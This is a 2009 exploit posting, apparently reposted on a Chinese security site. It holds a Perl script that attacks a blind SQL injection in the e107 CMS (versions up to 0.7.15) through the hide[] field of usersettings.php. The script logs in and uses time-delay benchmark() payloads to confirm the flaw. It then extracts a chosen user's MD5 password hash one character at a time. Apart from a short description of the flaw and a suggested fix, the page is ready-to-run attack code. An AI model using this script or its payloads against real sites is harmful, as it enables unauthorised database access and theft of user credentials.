首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
e107 <= 0.7.15 (extended_user_fields) Blind SQL Injection Exploit
来源:staker[at]hotmail[dot]it 作者:staker 发布时间:2009-04-21  

#!/usr/bin/env perl
#
# e107 <= 0.7.15 "extended_user_fields" Blind SQL Injection Exploit
#
# Description
# -------------------------------------------------------------------
# e107 contains one flaw that allows an attacker to carry out an SQL
# injection attack. The issue is due to the "usersettings.php" script
# not properly saniting user-supplied input to the hide[] key.
# This may allow an attacker to inject or manipulate sql queries in
# the backend database if magic_quotes_gpc = off.
# -------------------------------------------------------------------
# Code Details (usersettings.php)
# -------------------------------------------------------------------
# Line 433 - 441
#
# if($ue_fields) {
#    $hidden_fields = implode("^", array_keys($_POST['hide'])); <------ {1}
#    
#     if($hidden_fields != "")
#     {
#  $hidden_fields = "^".$hidden_fields."^"; 
#     }
#     $ue_fields .= ", user_hidden_fields = '".$hidden_fields."'"; <---- {2}
#   }
#
# Line 470 - 476

#  if($ue_fields)
#  {
#    [etc..]
#    $sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'");
#  } 

# ue[] POST variable needs a valid key
# such as "aim","msn" or other user_extended_fields
# (@fields array).
#
# Fix this sql injection using (php function)
# mysql_real_escape_string to the POST 'hide' key,
# otherwise find a way to fix it. dont care
# ------------------------------------------
# Discovered & Written
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it

# Thanks to
# ---------------------------------------------
# JosS,girex,str0ke,certaindeath,plucky
# #zeroidentity chan - http://zeroidentity.org
# ---------------------------------------------
# http://www.youtube.com/watch?v=0rgInHvW8Ic
# http://www.youtube.com/watch?v=O2y62xcUJ8E
# ---------------------------------------------

use LWP::UserAgent;


my $prefix = "e107_"; # default table_prefix
my $type_i = undef;
my $sock_u = new LWP::UserAgent;

my ($domain,$user_name,$user_pwd,$target) = @ARGV;


e107::Usage() unless scalar (@ARGV) > 3;
 
e107::Login($user_name,$user_pwd);
$type_i = e107::ExtendedField();
e107::Exploit();
   

sub e107::Usage
{
       print "e107 <= 0.7.15 'extended_user_fields' Blind SQL Injection Exploit\n";
       print "Usage: perl xpl.pl http://[host]/[path] [username] [password] [target id]\n";
       print "Usage: perl xpl.pl http://localhost/e107 yeat an4rchy 1\n";
       exit;
}      

sub e107::Exploit
{
     e107::Vulnerable();
     e107::BruteForce();
}

 

sub e107::SqlQuery
{
       my ($do_query,$response,$start,$down,$element);
      
       $do_query = $_[0] || die $!;
      
       $start = time();
 
       $response = $sock_u->post($domain.'/usersettings.php',
                               [
                                 "email"           => 'doesnt@exists.net',
                                 "ue[user_$type_i]" => 1,
                                 "hide[$do_query]" => 1,
                                 "updatesettings"  => 'Save Settings',
                              ]) or die $!;
       $down = time();
      
       return $down - $start;                           
}

 

sub e107::CheckField
{
       my ($do_query,$response,$start,$down,$element);
      
       $do_query = $_[0];
       $element  = $_[1] || die $!; 
      
      
       $start = time();
 
       $response = $sock_u->post($domain.'/usersettings.php',
                               [
                                 "email"           => 'doesnt@exists.net',
                                 "ue[user_$element]" => 1,
                                 "hide[$do_query]" => 1,
                                 "updatesettings"  => 'Save Settings',
                              ]) or die $!;
       $down = time();
      
       return $down - $start;                           
}
     
     

sub e107::ExtendedField
{
       my @fields = ('yeat','aim','birthday','icq','language','location','msn','yahoo','homepage');
      
       my $query = "\x27/**/OR/**/CASE/**/WHEN(1>0)/**/THEN".
                   "/**/benchmark(100000000,CHAR(0))/**/END#";
                  
       for (my $i=1;$i<8;$i++) {
            
             if (e107::CheckField($query,$fields[$i]) > 6) {
                return $fields[$i]; last;
             }    
             unless ($i != 8 && $fields[$i]) {
               die("Site not vulnerable..\n");
             }
       }         
}
       
       

sub e107::SqlBrute
{
       my $ascii = $_[0];
       my $limit = $_[1] || 1;
      
       my $sql_query = "\x27/**/OR/**/(SELECT/**/IF((ASCII(SUBSTRING(user_password,$limit,1))".
                       "=$ascii),benchmark(200000000,CHAR(0)),0)/**/FROM/**/${prefix}user/**/".
                       "WHERE/**/user_id=$target)#";
      
       return $sql_query;               
}

 

sub e107::BruteForce
{
       my $i = 1;
       my @charset = (97..102,48..57);
       my $convert = undef;
       my $result  = undef;
      
      
       for ($i..32) {
            
             foreach $convert (@charset) {
                  
                   if (e107::SqlQuery(e107::SqlBrute($convert,$i)) > 9) {
                      syswrite(STDOUT,chr($convert)); $i++;
                      last; $result .= chr($convert);
                   }             
             }
       }
      
       unless (length($result) != 32) {
          print "\nHash MD5: $result\n";
          print "User ID: $target\n";
       }
}

 

sub e107::Vulnerable
{            
       my @fields = ('yeat','aim','birthday','icq','language','location','msn','yahoo','homepage');
      
       for (my $i=1;$i<8;$i++) {
      
            if ($fields[$i] eq $type_i) {
               print "Exploiting..\n"; last;
            }
            else {
               die ("Site not vulnerable..\n");
            }
       }            
}      
   
                        

sub e107::Login
{
        my ($username,$password) = @_;
        my ($result,$response);
       
        $response =  $sock_u->post($domain.'/signup.php',
                                 [
                                   username  => $username,
                                   userpass  => $password,
                                   userlogin => 'Login',
                                   autologin => 0
                                 ]) or die $!;
       
        $result = $response->as_string;                        
                                
        if ($result =~ /e107cookie=(\d+)\.([0-9a-f]{32})/i) {
             $sock_u->default_header('Cookie' => "e107cookie=$1.$2;");
             $sock_u->agent('Lynx (textmode) - Logged');
        }
        else {
           die("Login failed..\n");
        }  
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WysGui CMS 1.2b (Insecure Cook
·TotalCalendar 2.4 Remote Passw
·Addonics NAS Adapter (bts.cgi)
·eLitius 1.0 Arbitrary Database
·CoolPlayer Portable 2.19.1 (.m
·Linksys WRT54GC - Administrati
·Pligg 9.9.0 (editlink.php id)
·Groovy Media Player 1.1.0 (.m3
·Exploits Trend Micro OfficeSca
·1by1 1.67 (.m3u File) Local St
·Dokeos LMS <= 1.8.5 (whoisonli
·MS Internet Explorer EMBED Mem
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved